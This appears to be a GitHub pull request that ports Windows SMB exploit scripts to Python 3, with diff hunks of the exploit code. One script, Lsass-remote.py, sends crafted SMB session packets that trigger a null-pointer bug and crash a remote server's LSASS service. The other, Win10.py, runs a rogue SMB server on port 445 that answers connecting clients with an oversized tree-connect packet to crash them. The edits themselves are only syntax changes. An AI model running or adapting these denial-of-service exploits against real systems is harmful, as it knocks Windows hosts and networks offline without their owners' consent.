Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Port To Python 3 #9

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 9 additions & 9 deletions LSASS/Lsass-remote.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,13 @@ class Packet():
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
for k,v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
return "".join(map(str, list(self.fields.values())))

class SMBHeader(Packet):
fields = OrderedDict([
Expand Down Expand Up @@ -334,7 +334,7 @@ def SendCustomNego(Message):
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
print Message
print(Message)
return longueur(packet0)+packet0

def handle(data,s):
Expand All @@ -347,7 +347,7 @@ def handle(data,s):
final = t
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
print "[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate."
print("[*]Using NT LM 0.12. Now Session Setup NTLMSSP Negotiate.")
s.send(buffer1)

##Session Setup AndX Request, NTLMSSP_AUTH, User: \
Expand All @@ -357,25 +357,25 @@ def handle(data,s):
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Working..."
print("[*]Working...")
s.send(buffer1)
data = s.recv(1024)
#Make sure it doesn't go in a loop.
if data[8:10] == "\x73\x16":
s.close()
#Triggered..
if data[8:10] == "\x73\x05":
print "[*]Null PTR Triggered.\n[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol."
print("[*]Null PTR Triggered.\n[*]Waiting a bit, the process might be in a loop, Coup de Grace with the next few negotiate protocol.")
sleep(2)
s.close()
##Bad userID on negotiate protocol, backend service crashed.
if data[8:10] == "\x72\x01":
print "[*]Server crashed.\n[*]Quitting"
print("[*]Server crashed.\n[*]Quitting")
sys.exit(1)

##Not Vulnerable.
if data[8:10] == "\x73\xbb":
print "[!]This server is not vulnerable.\n[*]Quitting"
print("[!]This server is not vulnerable.\n[*]Quitting")
sys.exit(1)

def run(host):
Expand All @@ -388,7 +388,7 @@ def run(host):
while True:
data = s.recv(1024)
if data == None:
print "[*]Server crashed.\n[*]Quitting"
print("[*]Server crashed.\n[*]Quitting")
handle(data,s)
except Exception:
sleep(0.5)
Expand Down
8 changes: 4 additions & 4 deletions LSASS/odict.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,9 +48,9 @@ def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
key = next(reversed(self))
else:
key = iter(self).next()
key = next(iter(self))
value = self.pop(key)
return key, value

Expand Down Expand Up @@ -79,7 +79,7 @@ def keys(self):
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
return '%s(%r)' % (self.__class__.__name__, list(self.items()))

def copy(self):
return self.__class__(self)
Expand All @@ -94,7 +94,7 @@ def fromkeys(cls, iterable, value=None):
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other)

def __ne__(self, other):
Expand Down
24 changes: 12 additions & 12 deletions SMBv3 Tree Connect/Win10.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import sys, struct, SocketServer
import sys, struct, socketserver
from odict import OrderedDict
from datetime import datetime
from calendar import timegm
Expand All @@ -9,13 +9,13 @@ class Packet():
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
for k,v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
return "".join(map(str, list(self.fields.values())))

def NTStamp(Time):
NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
Expand Down Expand Up @@ -351,12 +351,12 @@ class SMB2TreeData(Packet):
])

##########################################################################
class SMB2(SocketServer.BaseRequestHandler):
class SMB2(socketserver.BaseRequestHandler):

def handle(self):
try:
self.request.settimeout(1)
print "From:", self.client_address
print("From:", self.client_address)
data = self.request.recv(1024)

##Negotiate proto answer.
Expand All @@ -366,7 +366,7 @@ def handle(self):
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiating SMBv2."
print("[*]Negotiating SMBv2.")
self.request.send(buffer1)
data = self.request.recv(1024)

Expand All @@ -380,7 +380,7 @@ def handle(self):
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Negotiate Protocol SMBv2 packet sent."
print("[*]Negotiate Protocol SMBv2 packet sent.")
self.request.send(buffer1)
data = self.request.recv(1024)

Expand All @@ -391,7 +391,7 @@ def handle(self):
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Session challenge SMBv2 packet sent."
print("[*]Session challenge SMBv2 packet sent.")
self.request.send(buffer1)
data = self.request.recv(1024)

Expand All @@ -411,14 +411,14 @@ def handle(self):
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
print("[*]Triggering Bug; Tree Connect SMBv2 packet sent.")
self.request.send(buffer1)
data = self.request.recv(1024)

except Exception:
print "Disconnected from", self.client_address
print("Disconnected from", self.client_address)
pass

SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),SMB2)
socketserver.TCPServer.allow_reuse_address = 1
launch = socketserver.TCPServer(('', 445),SMB2)
launch.serve_forever()
8 changes: 4 additions & 4 deletions SMBv3 Tree Connect/odict.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,9 +48,9 @@ def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
key = next(reversed(self))
else:
key = iter(self).next()
key = next(iter(self))
value = self.pop(key)
return key, value

Expand Down Expand Up @@ -79,7 +79,7 @@ def keys(self):
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
return '%s(%r)' % (self.__class__.__name__, list(self.items()))

def copy(self):
return self.__class__(self)
Expand All @@ -94,7 +94,7 @@ def fromkeys(cls, iterable, value=None):
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other)

def __ne__(self, other):
Expand Down